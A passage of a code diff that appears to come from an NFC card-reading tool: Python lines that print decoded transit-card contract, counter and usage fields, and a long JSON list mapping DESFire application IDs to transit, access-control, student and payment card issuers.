print(' CountryCode : {:03x} - {}'.format(CountryCode, ISO_Countries.get(CountryCode, '?')));
|
||||
print(' OrganizationalAuthority : {:03x}'.format(OrganizationalAuthority));
|
||||
|
@ -268,23 +403,42 @@ def main():
|
|||
if (oa is not None):
|
||||
s = oa.get(ContractProvider)
|
||||
if (s is not None):
|
||||
print(' ~ Authority & Provider ~ :', s)
|
||||
print(' ~ Authority & Provider ~ : {} ({})'.format(s.OrganizationalAuthority, s.ContractProvider))
|
||||
Describe_Usage = s.UsageDescribeFunction
|
||||
print(' ContractTariff :', ContractTariff);
|
||||
print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d')));
|
||||
print(' left... :', Distribution_left);
|
||||
print(' [CER] Distribution : {:08x}'.format(Distribution_Cer.nom(32)))
|
||||
|
||||
print()
|
||||
print('COUNTER')
|
||||
print(' [1] Counter: 0x{:06x} - Reloading available 0x{:02x}'.format(COUNTER1, RELOADING1))
|
||||
print(' [2] Counter: 0x{:06x} - Reloading available 0x{:02x}'.format(COUNTER2, RELOADING2))
|
||||
|
||||
if not Usage_Data.isEmpty():
|
||||
print()
|
||||
print('USAGE')
|
||||
|
||||
print(' left... :', Usage_left);
|
||||
print(' [CER] Usage : {:04x}'.format(Usage_Cer.nom(16)))
|
||||
if(Describe_Usage is None):
|
||||
Describe_Usage = Describe_Usage_Generic
|
||||
|
||||
if COUNTER1 is not None:
|
||||
print('[1] Counter: 0x{:06x} - Reloading available: 0x{:02x}'.format(COUNTER1, RELOADING1))
|
||||
# if COUNTER2 is not None:
|
||||
# print('[2] Counter: 0x{:06x} - Reloading available: 0x{:02x}'.format(COUNTER2, RELOADING2))
|
||||
if SWAP is not None:
|
||||
print('[S] SWAP : 0x{:08x} - last usage on USAGE_{}'.format(SWAP, 'B' if SWAP & 0b1 else 'A'))
|
||||
|
||||
|
||||
'''
|
||||
USAGE
|
||||
-----
|
||||
No real documentation about Usage
|
||||
Nearly all is left... - did not seen implementation with 2 counters or 1 Usage
|
||||
'''
|
||||
|
||||
if not Usage_A_DAT.isEmpty():
|
||||
print()
|
||||
print('USAGE_A')
|
||||
Describe_Usage(Usage_A_DAT, ContractMediumEndDate, Usage_A_CER)
|
||||
|
||||
if not Usage_B_DAT.isEmpty():
|
||||
print()
|
||||
print('USAGE_B')
|
||||
Describe_Usage(Usage_B_DAT, ContractMediumEndDate, Usage_B_CER)
|
||||
|
||||
|
||||
return 0
|
||||
|
||||
|
|
|
@ -4,14 +4,62 @@
|
|||
"Vendor": "NFC Forum",
|
||||
"Country": "US",
|
||||
"Name": "NFC Forum NDEF Tag",
|
||||
"Description": "(FID 03: Capability Container)",
|
||||
"Description": "FID 03: Capability Container",
|
||||
"Type": "ndef"
|
||||
},
|
||||
{
|
||||
"AID": "000357",
|
||||
"Vendor": "LEGIC",
|
||||
"Country": "DE",
|
||||
"Name": "LEGIC",
|
||||
"Description": "FID 02: EF-CONF",
|
||||
"Type": "pacs"
|
||||
},
|
||||
{
|
||||
"AID": "2081F4",
|
||||
"Vendor": "Gallagher",
|
||||
"Country": "NZ",
|
||||
"Name": "Access Control",
|
||||
"Description": "Cardax Card Data Application",
|
||||
"Type": "pacs"
|
||||
},
|
||||
{
|
||||
"AID": "2F81F4",
|
||||
"Vendor": "Gallagher",
|
||||
"Country": "NZ",
|
||||
"Name": "Access Control",
|
||||
"Description": "Card Application Directory [CAD]",
|
||||
"Type": "pacs"
|
||||
},
|
||||
{
|
||||
"AID": "4791DA",
|
||||
"Vendor": "Prima Systems",
|
||||
"Country": "SI",
|
||||
"Name": "Prima FlexAir Access Control",
|
||||
"Description": "FIDs 00: DRM; 01: Access Event Log; 04: Access Permissions",
|
||||
"Type": "pacs"
|
||||
},
|
||||
{
|
||||
"AID": "53494F",
|
||||
"Vendor": "HID",
|
||||
"Country": "US",
|
||||
"Name": "Access Control",
|
||||
"Description": "HID Factory",
|
||||
"Type": "pacs"
|
||||
},
|
||||
{
|
||||
"AID": "6F706C",
|
||||
"Vendor": "Openpath",
|
||||
"Country": "US",
|
||||
"Name": "Access control",
|
||||
"Description": "Openpath PACS Application",
|
||||
"Type": "pacs"
|
||||
},
|
||||
{
|
||||
"AID": "D3494F",
|
||||
"Vendor": "HID",
|
||||
"Country": "US",
|
||||
"Name": "SIO DESFire Ev1",
|
||||
"Name": "SIO DESFire EV1",
|
||||
"Description": "Field Encoder",
|
||||
"Type": "pacs"
|
||||
},
|
||||
|
@ -24,116 +72,36 @@
|
|||
"Type": "pacs"
|
||||
},
|
||||
{
|
||||
"AID": "53494F",
|
||||
"Vendor": "HID",
|
||||
"Country": "US",
|
||||
"Name": "Access control",
|
||||
"Description": "HID Factory",
|
||||
"AID": "F48EF1",
|
||||
"Vendor": "Salto Systems",
|
||||
"Country": "ES",
|
||||
"Name": "Salto Systems",
|
||||
"Description": "",
|
||||
"Type": "pacs"
|
||||
},
|
||||
{
|
||||
"AID": "4F5931",
|
||||
"Vendor": "Transport of London",
|
||||
"Country": "UK",
|
||||
"Name": "Oyster Card",
|
||||
"AID": "F48EFD",
|
||||
"Vendor": "Salto Systems",
|
||||
"Country": "ES",
|
||||
"Name": "Salto KS",
|
||||
"Description": "Key as a Service // FID 01: Standard Data",
|
||||
"Type": "pacs"
|
||||
},
|
||||
{
|
||||
"AID": "F51BC0",
|
||||
"Vendor": "STid Group",
|
||||
"Country": "FR",
|
||||
"Name": "CCT Card / DTA Tag / PCG Fob",
|
||||
"Description": "STid Easyline / Architect Access Credetials",
|
||||
"Type": "pacs"
|
||||
},
|
||||
{
|
||||
"AID": "F52310",
|
||||
"Vendor": "Integrated Control Technology Limited [ICT]",
|
||||
"Country": "NZ",
|
||||
"Name": "ICT Access Credential",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "422201",
|
||||
"Vendor": "Transport of Istanbul",
|
||||
"Country": "Turkey",
|
||||
"Name": "Istanbulkart",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F21190",
|
||||
"Vendor": "Metropolitan Transportation Commission / Cubic",
|
||||
"Country": "US",
|
||||
"Name": "Clipper Card",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "000357",
|
||||
"Vendor": "LEGIC",
|
||||
"Country": "DE",
|
||||
"Name": "Legic",
|
||||
"Description": "(FID 02: EF-CONF)",
|
||||
"Type": ""
|
||||
},
|
||||
{
|
||||
"AID": "578000",
|
||||
"Vendor": "NORTIC",
|
||||
"Country": "",
|
||||
"Name": "NORTIC Card Issuer",
|
||||
"Description": "(FID 0C: Card Issuer Header)",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "578001",
|
||||
"Vendor": "NORTIC",
|
||||
"Country": "",
|
||||
"Name": "NORTIC Transport",
|
||||
"Description": "(FIDs 01: Transport Product Retailer; 02: Transport Service Provider; 03: Transport Special Event; 04: Transport Stored Value; 05: Transport General Event Log; 06: Transport SV Reload Log; 0A: Transport Environment; 0C: Transport Card Holder",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "784000",
|
||||
"Vendor": "NOL",
|
||||
"Country": "UAE",
|
||||
"Name": "Nol Card/Dubai",
|
||||
"Description": "Nol Card/Dubai",
|
||||
"Type": ""
|
||||
},
|
||||
{
|
||||
"AID": "956B19",
|
||||
"Vendor": "PING PING",
|
||||
"Country": "",
|
||||
"Name": "PingPing Tag",
|
||||
"Description": "PingPing Tag",
|
||||
"Type": ""
|
||||
},
|
||||
{
|
||||
"AID": "DB9800",
|
||||
"Vendor": "PING PING",
|
||||
"Country": "",
|
||||
"Name": "PingPing Tag",
|
||||
"Description": "PingPing Tag",
|
||||
"Type": ""
|
||||
},
|
||||
{
|
||||
"AID": "DB9801",
|
||||
"Vendor": "PING PING",
|
||||
"Country": "",
|
||||
"Name": "PingPing Tag",
|
||||
"Description": "PingPing Tag",
|
||||
"Type": ""
|
||||
},
|
||||
{
|
||||
"AID": "DB9802",
|
||||
"Vendor": "PING PING",
|
||||
"Country": "",
|
||||
"Name": "PingPing Tag",
|
||||
"Description": "PingPing Tag",
|
||||
"Type": ""
|
||||
},
|
||||
{
|
||||
"AID": "F21030",
|
||||
"Vendor": "ORCA (VUX/ERG)",
|
||||
"Country": "",
|
||||
"Name": "ORCA Card",
|
||||
"Description": "(FIDs 02: Trip History; 04: current balance)",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F21190",
|
||||
"Vendor": "Clipper",
|
||||
"Country": "US",
|
||||
"Name": "Clipper Card/San Francisco Bay Area ",
|
||||
"Description": "(FIDs 02: current balance; 04: Refill History; 08: Card Information; 0E: Trip History)\\nFFFFFF General Issuer Information (FIDs 00: MAD Version; 01: Card Holder; 02: Card Publisher)",
|
||||
"Type": "transport"
|
||||
"Type": "pacs"
|
||||
},
|
||||
{
|
||||
"AID": "F518F0",
|
||||
|
@ -144,36 +112,35 @@
|
|||
"Type": "alarm system"
|
||||
},
|
||||
{
|
||||
"AID": "F38091",
|
||||
"Vendor": "Microtronic AG",
|
||||
"Country": "CH",
|
||||
"Name": "Microtronic Tag",
|
||||
"Description": "",
|
||||
"Type": "payment system"
|
||||
},
|
||||
|
||||
{
|
||||
"AID": "F88280",
|
||||
"Vendor": "TU Delft",
|
||||
"Country": "NL",
|
||||
"Name": "Uni Delft",
|
||||
"Description": "",
|
||||
"AID": "05845F",
|
||||
"Vendor": "InterCard GmbH Kartensysteme",
|
||||
"Country": "DE",
|
||||
"Name": "InterCard",
|
||||
"Description": "Campus Card",
|
||||
"Type": "student"
|
||||
},
|
||||
{
|
||||
"AID": "F5217D",
|
||||
"Vendor": "TU Delft",
|
||||
"Country": "NL",
|
||||
"Name": "Uni Delft",
|
||||
"Description": "",
|
||||
"AID": "15845F",
|
||||
"Vendor": "InterCard GmbH Kartensysteme",
|
||||
"Country": "DE",
|
||||
"Name": "InterCard",
|
||||
"Description": "Campus Card",
|
||||
"Type": "student"
|
||||
},
|
||||
{
|
||||
"AID": "F48EF1",
|
||||
"Vendor": "TU Delft",
|
||||
"Country": "NL",
|
||||
"Name": "Uni Delft",
|
||||
"Description": "",
|
||||
"AID": "25845F",
|
||||
"Vendor": "InterCard GmbH Kartensysteme",
|
||||
"Country": "DE",
|
||||
"Name": "InterCard",
|
||||
"Description": "Campus Card",
|
||||
"Type": "student"
|
||||
},
|
||||
{
|
||||
"AID": "35845F",
|
||||
"Vendor": "InterCard GmbH Kartensysteme",
|
||||
"Country": "DE",
|
||||
"Name": "InterCard",
|
||||
"Description": "Campus Card",
|
||||
"Type": "student"
|
||||
},
|
||||
{
|
||||
|
@ -208,7 +175,7 @@
|
|||
"Description": "",
|
||||
"Type": "student"
|
||||
},
|
||||
{
|
||||
{
|
||||
"AID": "535505",
|
||||
"Vendor": "TU Delft",
|
||||
"Country": "NL",
|
||||
|
@ -216,7 +183,7 @@
|
|||
"Description": "",
|
||||
"Type": "student"
|
||||
},
|
||||
{
|
||||
{
|
||||
"AID": "535506",
|
||||
"Vendor": "TU Delft",
|
||||
"Country": "NL",
|
||||
|
@ -232,7 +199,7 @@
|
|||
"Description": "",
|
||||
"Type": "student"
|
||||
},
|
||||
{
|
||||
{
|
||||
"AID": "535508",
|
||||
"Vendor": "TU Delft",
|
||||
"Country": "NL",
|
||||
|
@ -248,7 +215,7 @@
|
|||
"Description": "",
|
||||
"Type": "student"
|
||||
},
|
||||
{
|
||||
{
|
||||
"AID": "53550A",
|
||||
"Vendor": "TU Delft",
|
||||
"Country": "NL",
|
||||
|
@ -256,7 +223,7 @@
|
|||
"Description": "",
|
||||
"Type": "student"
|
||||
},
|
||||
{
|
||||
{
|
||||
"AID": "53550B",
|
||||
"Vendor": "TU Delft",
|
||||
"Country": "NL",
|
||||
|
@ -265,43 +232,11 @@
|
|||
"Type": "student"
|
||||
},
|
||||
{
|
||||
"AID": "F001D0",
|
||||
"Vendor": "Arabako Foru Aldundia",
|
||||
"Country": "",
|
||||
"Name": "BAT",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "05845F",
|
||||
"Vendor": "InterCard GmbH Kartensysteme",
|
||||
"Country": "DE",
|
||||
"Name": "InterCard",
|
||||
"Description": "Campus Card",
|
||||
"Type": "student"
|
||||
},
|
||||
{
|
||||
"AID": "15845F",
|
||||
"Vendor": "InterCard GmbH Kartensysteme",
|
||||
"Country": "DE",
|
||||
"Name": "InterCard",
|
||||
"Description": "Campus Card",
|
||||
"Type": "student"
|
||||
},
|
||||
{
|
||||
"AID": "25845F",
|
||||
"Vendor": "InterCard GmbH Kartensysteme",
|
||||
"Country": "DE",
|
||||
"Name": "InterCard",
|
||||
"Description": "Campus Card",
|
||||
"Type": "student"
|
||||
},
|
||||
{
|
||||
"AID": "35845F",
|
||||
"Vendor": "InterCard GmbH Kartensysteme",
|
||||
"Country": "DE",
|
||||
"Name": "InterCard",
|
||||
"Description": "Campus Card",
|
||||
"AID": "554E49",
|
||||
"Vendor": "Slovenian Universities",
|
||||
"Country": "SI",
|
||||
"Name": "Slovenian University Student ID",
|
||||
"Description": "Issued by University of Ljubljana, Maribor and Primorska",
|
||||
"Type": "student"
|
||||
},
|
||||
{
|
||||
|
@ -329,43 +264,27 @@
|
|||
"Type": "student"
|
||||
},
|
||||
{
|
||||
"AID": "C26001",
|
||||
"Vendor": "CAR2GO",
|
||||
"Country": "DE",
|
||||
"Name": "MemberCard",
|
||||
"Description": "CAR2GO - Member Card",
|
||||
"Type": "carsharing"
|
||||
"AID": "F48EF1",
|
||||
"Vendor": "TU Delft",
|
||||
"Country": "NL",
|
||||
"Name": "Uni Delft",
|
||||
"Description": "",
|
||||
"Type": "student"
|
||||
},
|
||||
{
|
||||
"AID": "2F81F4",
|
||||
"Vendor": "Gallagher",
|
||||
"Country": "NZ",
|
||||
"Name": "Access control",
|
||||
"Description": "Card Application Directory (CAD)",
|
||||
"Type": "pacs"
|
||||
"AID": "F5217D",
|
||||
"Vendor": "TU Delft",
|
||||
"Country": "NL",
|
||||
"Name": "Uni Delft",
|
||||
"Description": "",
|
||||
"Type": "student"
|
||||
},
|
||||
{
|
||||
"AID": "2081F4",
|
||||
"Vendor": "Gallagher",
|
||||
"Country": "NZ",
|
||||
"Name": "Access control",
|
||||
"Description": "Cardax Card Data Application",
|
||||
"Type": "pacs"
|
||||
},
|
||||
{
|
||||
"AID": "6F706C",
|
||||
"Vendor": "Openpath",
|
||||
"Country": "US",
|
||||
"Name": "Access control",
|
||||
"Description": "Openpath PACS Application",
|
||||
"Type": "pacs"
|
||||
},
|
||||
{
|
||||
"AID": "554E49",
|
||||
"Vendor": "Slovenian Universities",
|
||||
"Country": "SI",
|
||||
"Name": "Slovenian University Student ID",
|
||||
"Description": "Issued by University of Ljubljana, Maribor and Primorska",
|
||||
"AID": "F88280",
|
||||
"Vendor": "TU Delft",
|
||||
"Country": "NL",
|
||||
"Name": "Uni Delft",
|
||||
"Description": "",
|
||||
"Type": "student"
|
||||
},
|
||||
{
|
||||
|
@ -376,14 +295,6 @@
|
|||
"Description": "",
|
||||
"Type": "payment system"
|
||||
},
|
||||
{
|
||||
"AID": "78E127",
|
||||
"Vendor": "Disney",
|
||||
"Country": "US",
|
||||
"Name": "Disney MagicBand",
|
||||
"Description": "",
|
||||
"Type": "payment system"
|
||||
},
|
||||
{
|
||||
"AID": "44434C",
|
||||
"Vendor": "Disney",
|
||||
|
@ -393,195 +304,307 @@
|
|||
"Type": "payment system"
|
||||
},
|
||||
{
|
||||
"AID": "F21100",
|
||||
"Vendor": "MyKI",
|
||||
"Country": "AUS",
|
||||
"Name": "Myki",
|
||||
"Description": "AID found on Myki ticket cards",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F210F0",
|
||||
"Vendor": "MyKI",
|
||||
"Country": "AUS",
|
||||
"Name": "Myki",
|
||||
"Description": "AID found on Myki ticket cards",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F206B0",
|
||||
"Vendor": "ACS",
|
||||
"Country": "AUS",
|
||||
"Name": "Metrocard / ACS",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F21050",
|
||||
"Vendor": "INIT",
|
||||
"Country": "NZ",
|
||||
"Name": "Metrocard / Christchurch",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F21150",
|
||||
"Vendor": "HAGUESS",
|
||||
"Country": "CZ",
|
||||
"Name": "Lítačka / Prague",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F21360",
|
||||
"Vendor": "INIT",
|
||||
"Country": "CZ",
|
||||
"Name": "HOLO",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F21381",
|
||||
"Vendor": "Cubic",
|
||||
"AID": "78E127",
|
||||
"Vendor": "Disney",
|
||||
"Country": "US",
|
||||
"Name": "Ventra",
|
||||
"Name": "Disney MagicBand",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
"Type": "payment system"
|
||||
},
|
||||
{
|
||||
"AID": "F213A0",
|
||||
"Vendor": "INIT",
|
||||
"Country": "US",
|
||||
"Name": "WAVE / Rhode Island",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
"AID": "956B19",
|
||||
"Vendor": "Alfa-Zet",
|
||||
"Country": "BE",
|
||||
"Name": "ping.ping Tag",
|
||||
"Description": "ping.ping Tag",
|
||||
"Type": "payment system"
|
||||
},
|
||||
{
|
||||
"AID": "F210E0",
|
||||
"Vendor": "Hop Fastpass",
|
||||
"Country": "",
|
||||
"Name": "Hop Fastpass",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
"AID": "DB9800",
|
||||
"Vendor": "Alfa-Zet",
|
||||
"Country": "BE",
|
||||
"Name": "ping.ping Tag",
|
||||
"Description": "ping.ping Tag",
|
||||
"Type": "payment system"
|
||||
},
|
||||
{
|
||||
"AID": "EF2011",
|
||||
"Vendor": "HSL",
|
||||
"Country": "FI",
|
||||
"Name": "HSL / Helsinki",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
"AID": "DB9801",
|
||||
"Vendor": "Alfa-Zet",
|
||||
"Country": "BE",
|
||||
"Name": "ping.ping Tag",
|
||||
"Description": "ping.ping Tag",
|
||||
"Type": "payment system"
|
||||
},
|
||||
{
|
||||
"AID": "A00216",
|
||||
"Vendor": "ITSO",
|
||||
"Country": "",
|
||||
"Name": "ITSO",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
"AID": "DB9802",
|
||||
"Vendor": "Alfa-Zet",
|
||||
"Country": "BE",
|
||||
"Name": "ping.ping Tag",
|
||||
"Description": "ping.ping Tag",
|
||||
"Type": "payment system"
|
||||
},
|
||||
{
|
||||
"AID": "554000",
|
||||
"Vendor": "AT HOP",
|
||||
"Country": "",
|
||||
"Name": "AT HOP",
|
||||
"AID": "F38091",
|
||||
"Vendor": "Microtronic AG",
|
||||
"Country": "CH",
|
||||
"Name": "Microtronic Tag",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
"Type": "payment system"
|
||||
},
|
||||
{
|
||||
"AID": "534531",
|
||||
"Vendor": "OPAL",
|
||||
"Country": "AUS",
|
||||
"Name": "OPAL",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "2211AF",
|
||||
"Vendor": "Leap",
|
||||
"Country": "",
|
||||
"Name": "Leap",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "015342",
|
||||
"Vendor": "BEM",
|
||||
"Country": "TH",
|
||||
"Name": "BEM / Bangkok",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "012242",
|
||||
"Vendor": "Istanbulkart",
|
||||
"Country": "TR",
|
||||
"Name": "Istanbulkart / Istanbul",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "010000",
|
||||
"Vendor": "Madrid Public Transit Card",
|
||||
"Country": "ES",
|
||||
"Name": "Madrid Public Transit Card",
|
||||
"Description": "",
|
||||
"Type": "transport"
|
||||
"AID": "C26001",
|
||||
"Vendor": "CAR2GO",
|
||||
"Country": "DE",
|
||||
"Name": "MemberCard",
|
||||
"Description": "CAR2GO - Member Card",
|
||||
"Type": "carsharing"
|
||||
},
|
||||
{
|
||||
"AID": "000001",
|
||||
"Vendor": "Invalid / reserved",
|
||||
"Vendor": "Invalid / Reserved",
|
||||
"Country": "",
|
||||
"Name": "Invalid / reserved",
|
||||
"Description": "used by Compass DESFire and Breeze DESFire",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "FFFFFF",
|
||||
"Vendor": "Reserved for future use",
|
||||
"Country": "",
|
||||
"Name": "Reserved for future use",
|
||||
"Description": "used by AT HOP, Nol, ORCA",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F52310",
|
||||
"Vendor": "Integrated Control Technology Limited (ICT)",
|
||||
"Country": "NZ",
|
||||
"Name": "ICT Access credential",
|
||||
"Description": "",
|
||||
"Type": "pacs"
|
||||
},
|
||||
{
|
||||
"AID": "F48EF1",
|
||||
"Vendor": "SALTO Access credential",
|
||||
"Country": "ES",
|
||||
"Name": "SALTO Access credential",
|
||||
"Description": "",
|
||||
"Type": "pacs"
|
||||
},
|
||||
{
|
||||
"AID": "4791DA",
|
||||
"Vendor": "Prima Systems",
|
||||
"Country": "SI",
|
||||
"Name": "Prima FlexAir Access Control",
|
||||
"Description": "FIDs: 00 - DRM, 01 - Access Event Log, 04 - Access Permissions",
|
||||
"Type": "pacs"
|
||||
},
|
||||
{
|
||||
"AID": "FF30FF",
|
||||
"Vendor": "Metrolinx",
|
||||
"Country": "CA",
|
||||
"Name": "Presto Card",
|
||||
"Description": "",
|
||||
"Name": "Invalid / Reserved",
|
||||
"Description": "Used by YVR Compass and ATL Breeze",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "002000",
|
||||
"Vendor": "Metrolinx",
|
||||
"Country": "CA",
|
||||
"Name": "Presto Card",
|
||||
"Description": "",
|
||||
"Name": "PRESTO Card [YYZ/YHM/YOW]",
|
||||
"Description": "FIDs 00,0F: Backup Data; 08-0E,10-14: Standard Data",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "010000",
|
||||
"Vendor": "Consorcio Regional de Transportes Públicos Regulares de Madrid [CRTM]",
|
||||
"Country": "ES",
|
||||
"Name": "Tarjeta Transporte Publico [MAD]",
|
||||
"Description": "MAD Public Transport Card",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "012242",
|
||||
"Vendor": "Istanbulkart",
|
||||
"Country": "TR",
|
||||
"Name": "Istanbulkart [IST]",
|
||||
"Description": "IST Istanbul Card",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "015342",
|
||||
"Vendor": "Bangkok Expressway and Metro Public Limited Company [BEM]",
|
||||
"Country": "TH",
|
||||
"Name": "MRT Stored Value Card [BKK]",
|
||||
"Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "2211AF",
|
||||
"Vendor": "National Transport Authority",
|
||||
"Country": "IE",
|
||||
"Name": "TFI Leap Card [DUB]",
|
||||
"Description": "DUB Leap Card // Transport for Ireland // FIDs: 01,1F: Backup Data; 02-0A: Standard Data",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "4F5931",
|
||||
"Vendor": "Transport for London [TfL]",
|
||||
"Country": "UK",
|
||||
"Name": "Oyster Card [LHR]",
|
||||
"Description": "FIDs: 00-07: Standard Data",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "422201",
|
||||
"Vendor": "Transport of Istanbul",
|
||||
"Country": "TR",
|
||||
"Name": "İstanbulkart [IST]",
|
||||
"Description": "IST Istanbul Card",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "534531",
|
||||
"Vendor": "Transport for New South Wales [TfNSW]",
|
||||
"Country": "AU",
|
||||
"Name": "Opal Card [SYD]",
|
||||
"Description": "FIDs 00-06: Standard Data; 07: Card Balance/Number and Trip History",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "554000",
|
||||
"Vendor": "Auckland Transport",
|
||||
"Country": "NZ",
|
||||
"Name": "AT HOP Card [AKL]",
|
||||
"Description": "FIDs: 00: Backup Data; 08/09/0A",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "578000",
|
||||
"Vendor": "Norwegian Public Roads Administration [NPRA]",
|
||||
"Country": "NO",
|
||||
"Name": "NORTIC Transport",
|
||||
"Description": "Norwegian Ticketing Interoperable Concept // FID 0C: Card Issuer Header",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "578001",
|
||||
"Vendor": "Norwegian Public Roads Administration [NPRA]",
|
||||
"Country": "NO",
|
||||
"Name": "NORTIC Transport",
|
||||
"Description": "FIDs 01: Product Retailer; 02: Service Provider; 03: Special Event; 04: Stored Value; 05: General Event Log; 06: SV Reload Log; 0A: Environment; 0C: Card Holder",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "784000",
|
||||
"Vendor": "Roads & Transport Authority [Government of Dubai]",
|
||||
"Country": "AE",
|
||||
"Name": "nol Card [DXB]",
|
||||
"Description": "DXB nol Card",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "A00216",
|
||||
"Vendor": "ITSO Ltd",
|
||||
"Country": "UK",
|
||||
"Name": "ITSO",
|
||||
"Description": "Appears to be used across UK Transit Agencies except LHR Oyster.",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "EF2011",
|
||||
"Vendor": "Helsinki Region Transport [HRT]",
|
||||
"Country": "FI",
|
||||
"Name": "HSL Card [HEL/TLL/TAY]",
|
||||
"Description": "HEL/TLL/TAY HSL Card",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F001D0",
|
||||
"Vendor": "Arabako Foru Aldundia",
|
||||
"Country": "ES",
|
||||
"Name": "BAT Card [VIT]",
|
||||
"Description": "VIT BAT Card",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F206B0",
|
||||
"Vendor": "Adelaide Metro via Affiliated Computer Services [ACS]",
|
||||
"Country": "AU",
|
||||
"Name": "metroCARD [ADL]",
|
||||
"Description": "FIDs 00,02-07,09-0B,10-17,1B-1C: Backup Data; 01,1D: Linear Record File; 08: ABNote/HID Adelaide; 1E: Standard Data; 0C-0F: Card Balance",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F21030",
|
||||
"Vendor": "Puget Sound Transit Agencies via Vix Technologies",
|
||||
"Country": "US",
|
||||
"Name": "ORCA [SEA]",
|
||||
"Description": "One Regional Card For All // FIDs 02: Trip History; 04: current balance",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F21050",
|
||||
"Vendor": "Metro Christchurch via INIT",
|
||||
"Country": "NZ",
|
||||
"Name": "Metrocard [CHC]",
|
||||
"Description": "FIDs: 00: Backup Data; 01/02: Trip History; 03: Card Balance",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F210E0",
|
||||
"Vendor": "TriMet",
|
||||
"Country": "US",
|
||||
"Name": "Hop Fastpass [PDX]",
|
||||
"Description": "PDX Hop Card",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F210F0",
|
||||
"Vendor": "Public Transport Victoria [PTV] via Conduent [formerly via Keane Australia Pty Ltd]",
|
||||
"Country": "AU",
|
||||
"Name": "myki [MEL]",
|
||||
"Description": "FIDs 01-02: Transaction History; 03: myki money Balance; 00,04-05: Backup Data; 08-0C,0F: Standard Data",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F21100",
|
||||
"Vendor": "Public Transport Victoria [PTV] via Conduent [formerly via Keane Australia Pty Ltd]",
|
||||
"Country": "AU",
|
||||
"Name": "myki [MEL]",
|
||||
"Description": "FIDs 0F: Standard Data; 00: Backup Data",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F21150",
|
||||
"Vendor": "Prague Public Transit Company via Haguess a.s.",
|
||||
"Country": "CZ",
|
||||
"Name": "Lítačka Opencard [PRG]",
|
||||
"Description": "PRG Lítačka Opencard",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F21190",
|
||||
"Vendor": "Metropolitan Transportation Commission via Cubic",
|
||||
"Country": "US",
|
||||
"Name": "Clipper Card [SFO]",
|
||||
"Description": "FIDs 02: Card Balance; 04: Refill History; 08: Card Information; 0E: Trip History",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F21360",
|
||||
"Vendor": "INIT",
|
||||
"Country": "US",
|
||||
"Name": "HOLO Card [HNL]",
|
||||
"Description": "HNL HOLO Card",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F21381",
|
||||
"Vendor": "Chicago Transit Authority [CTA] via Cubic",
|
||||
"Country": "US",
|
||||
"Name": "Ventra Card [ORD]",
|
||||
